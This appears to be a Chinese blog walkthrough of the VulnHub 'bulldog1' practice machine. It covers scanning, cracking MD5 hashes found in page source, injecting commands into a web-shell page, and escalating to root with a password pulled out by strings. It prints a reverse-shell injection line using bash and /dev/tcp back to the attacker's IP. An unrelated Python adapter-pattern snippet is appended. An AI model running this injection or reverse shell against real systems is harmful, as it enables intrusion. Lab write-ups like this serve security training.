vulnhub靶场,bulldog1

vulnhub靶场,bulldog1

环境准备

靶机下载地址:https://www.vulnhub.com/entry/bulldog-1,211/
攻击机:kali(192.168.109.128)
靶机:bulldog1(192.168.109.157)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

使用arp-scan确定目标靶机

确定目标靶机IP为192.168.109.157
使用nmap扫描查看目标靶机端口开放情况

开放端口:23、80、8080
可以开到目标靶机将ssh端口换成了23
浏览器访问目标靶机80端口

翻译其中内容是说此网站已经被黑了,查看源代码也没有发现什么
点击Public Notice跳转到了另一个页面

查看源代码也没有发现什么
网站指纹识别

使用dirb进行网站目录结构扫描

先只观察一下一级目录,访问/admin网页

看来是Django的后台管理登录页面,使用暴力破解和SQL注入均无效
访问/dev网页

中间有个web-shell,点击试试

看来必须要登入后台才能进入这个页面,回到上个页面,翻译一下

这里说不确定黑客有没有留下什么痕迹,可能是在提醒我们,看看源代码里面有没有什么东西

果然在源代码里发现了一些加密后的数据,猜测使用了md5进行加密

渗透过程

将这个md5加密后的密文放到解密网站依次进行猜解







成功破解出两个密码,再根据源码前面的对应关系得到两个账号密码,分别是:nick:bulldog,sarah:bulldoglover
再次找到后台登录的地方,使用这两个账号试试能不能登录

可以看到nick用户成功登入后台
再次回到那个webshell的位置

看来这里应该是一个命令执行的位置,输出上面给的命令试试

确实是这样,那可以试着加管道符运行我们想运行的命令

可以看到,运行成功了,那现在就可以反弹shell了
kali终端:

靶机中:

ls&echo "bash -i >& /dev/tcp/192.168.109.128/4444 0>&1" | bash


可以看到kali这边成功反弹回来了一个shell

提权过程

查看用户的sudo权限

没有sudo权限,进入家目录

发现一个bulldogadmin文件,进去看看

又发现一个.hiddenadmindirectory文件
再进去看看

又发现了一个customPermissionApp文件,查看其内容

发现一堆乱码,用strings命令用来提取和显示非文本文件中的文本字符串

猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget, 可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget,H是来混淆的,中间刚好有PADDWORD
使用su命令切换为root用户

这里发现不能使用su命令,这里报的错误是必须要从终端运行,那使用python打开一个新的终端,使用sudo -i命令试试

可以看到成功切换为root用户,查看当前文件夹,成功获得flag,靶机bulldog1渗透结束

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值